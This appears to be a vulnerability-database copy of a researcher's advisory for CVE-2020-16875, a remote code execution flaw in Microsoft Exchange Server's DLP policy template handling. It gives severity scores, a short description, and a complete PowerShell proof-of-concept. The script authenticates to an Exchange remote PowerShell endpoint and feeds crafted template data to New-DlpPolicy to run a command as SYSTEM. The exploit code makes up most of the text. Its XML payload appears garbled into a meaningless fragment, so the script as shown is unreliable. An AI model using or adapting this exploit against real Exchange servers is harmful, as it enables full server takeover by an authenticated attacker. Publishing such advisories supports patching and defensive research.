SRC-2020-0019 : Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability

2020-05-2200:00:00

Steven Seeley (mr_me) of Qihoo 360 Vulcan Team

srcincite.io

8.4 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.582 Medium

EPSS

Percentile

97.7%

JSON

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication with the “Data Loss Prevention” role is required to exploit this vulnerability.

The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a dlp policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.

Affected Vendors:

Microsoft

Affected Products:

Exchange Server

Vendor Response:

Microsoft has issued an update to correct this vulnerability. More details can be found at: <https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-16875>

# Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
# Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
#
# Notes:
#
# The (ab)user needs the "Data Loss Prevention" role assigned
# [PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
# 
# Name      AssignedRoles          RoleAssignments                  ManagedBy
# ----      -------------          ---------------                  ---------
# dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
# 
# 
# [PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
# 
# RunspaceId                  : 098e1140-30e3-4144-8028-2174fdb43b85
# ManagedBy                   : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
# RoleAssignments             : {Data Loss Prevention-dlp users}
# Roles                       : {Data Loss Prevention}
# DisplayName                 :
# ExternalDirectoryObjectId   :
# Members                     : {exchangedemo.com/Users/Harry Mull}
# SamAccountName              : dlp users
# Description                 :
# RoleGroupType               : Standard
# LinkedGroup                 :
# Capabilities                : {}
# LinkedPartnerGroupId        :
# LinkedPartnerOrganizationId :
# Identity                    : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
# IsValid                     : True
# ExchangeVersion             : 0.10 (14.0.100.0)
# Name                        : dlp users
# DistinguishedName           : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
# Guid                        : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
# ObjectCategory              : exchangedemo.com/Configuration/Schema/Group
# ObjectClass                 : {top, group}
# WhenChanged                 : 6/12/2020 11:29:31 PM
# WhenCreated                 : 6/12/2020 11:29:31 PM
# WhenChangedUTC              : 6/12/2020 3:29:31 PM
# WhenCreatedUTC              : 6/12/2020 3:29:31 PM
# OrganizationId              :
# Id                          : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
# OriginatingServer           : DEAD01.exchangedemo.com
# ObjectState                 : Changed
#
# Example:
#
# PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr [email protected] -pwd user123### -cmd mspaint
# (+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with [email protected]:user123###
# (+) executed mspaint as SYSTEM!
# PS C:\Users\researcher>

param (
    [Parameter(Mandatory=$true)][string]$server,
    [Parameter(Mandatory=$true)][string]$usr,
    [Parameter(Mandatory=$true)][string]$pwd,
    [string]$cmd = "mspaint"
)

Function Get-RandomAlphanumericString {
    [CmdletBinding()]
    Param (
        [int] $length = 8
    )
    Process{
        Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length  | % {[char]$_}) )
    }	
}

function Exploit-Exchange {
    Param (
        [string] $server,
        [string] $usr,
        [string] $pwd,
        [string] $cmd
    )
    "(+) targeting $server with ${usr}:$pwd"
    $securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd)
    $s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds

    $xml = @"4si"@

    $n = Get-RandomAlphanumericString
    [Byte[]]$d = [System.Text.Encoding]::UTF8.GetBytes($xml)
    Invoke-Command -Session $s -ScriptBlock {
        New-DlpPolicy -Name $Using:n -TemplateData $Using:d 
    } | Out-Null
    "(+) executed $cmd as SYSTEM!"	
}

Get-PSSession | Remove-PSSession
Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd